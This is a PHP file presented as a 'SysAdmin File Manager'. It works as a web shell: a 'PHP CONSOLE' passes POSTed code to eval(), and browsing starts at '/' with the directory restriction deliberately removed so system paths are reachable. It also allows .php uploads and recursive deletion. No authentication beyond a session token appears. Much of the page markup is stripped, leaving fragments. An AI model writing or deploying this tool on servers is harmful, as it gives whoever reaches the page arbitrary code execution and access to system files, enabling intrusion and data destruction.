"SysAdmin File Manager", 'session_duration' => 3600 * 24 * 7, 'debug_mode' => false, // Set to '/' for full root access, or null to limit to current script directory 'root_dir' => '/', 'allowed_extensions' => array('txt', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 'jpg', 'jpeg', 'png', 'gif', 'php', 'html', 'zip', 'json', 'xml', 'css', 'js', 'sql', 'log', 'ini'), 'max_upload_size' => 100 * 1024 * 1024 // 100MB ); // --- Initialization --- @set_time_limit(0); define('DS', DIRECTORY_SEPARATOR); // Session Setup if (session_status() === PHP_SESSION_NONE) { session_set_cookie_params([ 'lifetime' => $config['session_duration'], 'path' => '/', 'secure' => isset($_SERVER['HTTPS']), 'httponly' => true, 'samesite' => 'Strict' ]); session_start(); } // Security Token if (empty($_SESSION['security_token'])) { $_SESSION['security_token'] = bin2hex(random_bytes(32)); } $security_token = $_SESSION['security_token']; // --- Helper Functions --- function clean_input($data) { if (is_array($data)) return array_map('clean_input', $data); return htmlspecialchars(stripslashes($data), ENT_QUOTES, 'UTF-8'); } $_GET = clean_input($_GET); $_POST = clean_input($_POST); // Error Reporting if ($config['debug_mode']) { error_reporting(E_ALL); ini_set('display_errors', '1'); } else { error_reporting(0); ini_set('display_errors', '0'); } function verify_token($token) { return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token); } function format_size($size) { if ($size <= 0) return '0 B'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $base = log($size, 1024); return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)]; } function get_perms($file) { if (!file_exists($file)) return '---------'; $perms = fileperms($file); $info = ''; switch ($perms & 0xF000) { case 0xC000: $info = 's'; break; case 0xA000: $info = 'l'; break; case 0x8000: $info = '-'; break; case 0x6000: $info = 'b'; break; case 0x4000: $info = 'd'; break; default: $info = 'u'; } // Owner $info .= (($perms & 00400) ? 'r' : '-'); $info .= (($perms & 00200) ? 'w' : '-'); $info .= (($perms & 00100) ? 'x' : '-'); // Group $info .= (($perms & 00040) ? 'r' : '-'); $info .= (($perms & 00020) ? 'w' : '-'); $info .= (($perms & 00010) ? 'x' : '-'); // World $info .= (($perms & 00004) ? 'r' : '-'); $info .= (($perms & 00002) ? 'w' : '-'); $info .= (($perms & 00001) ? 'x' : '-'); return $info; } function get_owner_name($file) { if (function_exists('posix_getpwuid')) { $owner = @posix_getpwuid(fileowner($file)); $group = @posix_getgrgid(filegroup($file)); return ($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A'); } return 'N/A'; } function delete_directory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return @unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_directory($dir . DS . $item)) return false; } return @rmdir($dir); } // --- Core Logic --- $self = basename($_SERVER['PHP_SELF']); $message = ''; $message_type = 'info'; // Determine base start $script_dir = __DIR__; if ($config['root_dir']) { // Use configured root, resolve to realpath if exists $base_start = realpath($config['root_dir']); if ($base_start === false) $base_start = DS; // Fallback to system root if path invalid } else { $base_start = $script_dir; } // Default current dir $current_dir = $base_start; // Restore session directory if valid if (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) { $current_dir = $_SESSION['current_dir']; } // Resolve real path $current_dir_real = realpath($current_dir); // If path invalid, fallback to base start if ($current_dir_real === false) { $current_dir_real = $base_start; } // --- REMOVED RESTRICTION: We no longer force current_dir to stay inside base_start --- // This allows navigating to /etc, /var, etc. // Security Note: Ensure PHP user permissions are correctly set on the server. // --- Handle POST (Actions) --- if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!verify_token($_POST['security_token'] ?? '')) { $message = "Invalid Security Token."; $message_type = 'error'; } else { // UPLOAD if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) { $file_info = pathinfo($_FILES['upload_file']['name']); $ext = strtolower($file_info['extension'] ?? ''); if (in_array($ext, $config['allowed_extensions']) || empty($config['allowed_extensions'])) { $dest = $current_dir_real . DS . basename($_FILES['upload_file']['name']); if (!is_writable($current_dir_real)) { @chmod($current_dir_real, 0755); } if (is_writable($current_dir_real)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $dest)) { $message = "File uploaded successfully."; $message_type = 'success'; @chmod($dest, 0644); } else { $message = "Failed to move file. Check PHP temporary directory permissions."; $message_type = 'error'; } } else { $owner = get_owner_name($current_dir_real); $process_user = function_exists('get_current_user') ? get_current_user() : 'PHP User'; $message = "Permission Denied. Folder owned by '$owner', but PHP running as '$process_user'."; $message_type = 'error'; } } else { $message = "Extension '$ext' not allowed."; $message_type = 'error'; } } // CREATE DIR if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) { $dir_name = basename($_POST['mkdir']); $new_path = $current_dir_real . DS . $dir_name; if (!file_exists($new_path)) { if (!is_writable($current_dir_real)) @chmod($current_dir_real, 0755); if (@mkdir($new_path, 0755)) { $message = "Folder created."; $message_type = 'success'; } else { $message = "Failed to create folder (Permission denied)."; $message_type = 'error'; } } else { $message = "Folder already exists."; $message_type = 'error'; } } // RENAME if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $old_path = $current_dir_real . DS . basename($_POST['rename_from']); $new_path = $current_dir_real . DS . basename($_POST['rename_to']); if (file_exists($old_path)) { if (@rename($old_path, $new_path)) { $message = "Renamed successfully."; $message_type = 'success'; } else { $message = "Rename failed (Permission denied)."; $message_type = 'error'; } } else { $message = "Source not found."; $message_type = 'error'; } } // PHP CONSOLE if (isset($_POST['php_code']) && !empty($_POST['php_code'])) { ob_start(); try { eval($_POST['php_code']); $cmd_output = ob_get_clean(); } catch (Throwable $e) { $cmd_output = "Error: " . $e->getMessage(); } } } } // --- Handle GET (Navigation & Delete) --- if ($_SERVER['REQUEST_METHOD'] === 'GET') { // Navigation if (isset($_GET['cd'])) { $requested = $_GET['cd']; $target_real = realpath($requested); // Check if valid dir, but DO NOT restrict to base_start if ($target_real && is_dir($target_real)) { $current_dir = $target_real; $current_dir_real = $target_real; $_SESSION['current_dir'] = $current_dir; } else { $message = "Directory not found or inaccessible."; $message_type = 'error'; } } // DELETE if (isset($_GET['delete']) && isset($_GET['confirm_token'])) { if (verify_token($_GET['confirm_token'])) { $target_name = basename($_GET['delete']); $target_path = $current_dir_real . DS . $target_name; $target_real = realpath($target_path); if ($target_real && file_exists($target_real)) { if (is_dir($target_real)) { if (delete_directory($target_real)) { $message = "Directory deleted."; $message_type = 'success'; } else { $message = "Failed to delete directory (Permission denied)."; $message_type = 'error'; } } else { if (@unlink($target_real)) { $message = "File deleted."; $message_type = 'success'; } else { $message = "Failed to delete file (Permission denied)."; $message_type = 'error'; } } } else { $message = "Invalid path."; $message_type = 'error'; } } else { $message = "Invalid token."; $message_type = 'error'; } } // VIEW FILE if (isset($_GET['view'])) { $file = basename($_GET['view']); $path = $current_dir_real . DS . $file; $real_path = realpath($path); if ($real_path && is_file($real_path)) { $content = @file_get_contents($real_path); if ($content === false) { $view_content = "Cannot read file (Permission denied)."; } else { if (preg_match('~[^\x20-\x7E\t\r\n]~', $content)) { $view_content = "Binary file or non-UTF-8 content."; $mime = @mime_content_type($real_path); if ($mime && strpos($mime, 'image/') === 0) { $view_content = ""; } } else { $view_content = "
" . htmlspecialchars($content) . "
"; } } } else { $view_content = "File not accessible."; } } } // --- Breadcrumb Generation --- function create_breadcrumbs($path) { global $self, $security_token; $parts = explode(DS, $path); $build = ''; $html = ''; return $html; } $parent_dir = dirname($current_dir_real); // Always allow going up unless we are at the root $has_parent = ($parent_dir !== $current_dir_real); ?> <?php echo $config['app_name']; ?>

Server: | PHP:

Upload File

Target:

$php
Note: Run PHP code safely. Example: print_r(scandir('.'));

View:

Close
"; } else { $dirs = []; $items = []; foreach ($files as $f) { if ($f === '.' || $f === '..') continue; $path = $current_dir_real . DS . $f; if (is_dir($path)) $dirs[$f] = $path; else $items[$f] = $path; } ksort($dirs); ksort($items); $all_files = $dirs + $items; foreach ($all_files as $name => $path) { $is_dir = is_dir($path); $icon = $is_dir ? '📁' : '📄'; $size = $is_dir ? '-' : format_size(@filesize($path)); $perms = get_perms($path); $owner = get_owner_name($path); $time = date('Y-m-d H:i', @filemtime($path)); $link_url = $is_dir ? '?cd='.urlencode($path).'&security_token='.$security_token : '?view='.urlencode($name); $safe_name = htmlspecialchars($name); $safe_name_js = addslashes($name); ?> "; } } ?>
Name Size Perms / Owner Modified Actions
Cannot read directory (Permission Denied).

View Rename Delete
Folder is empty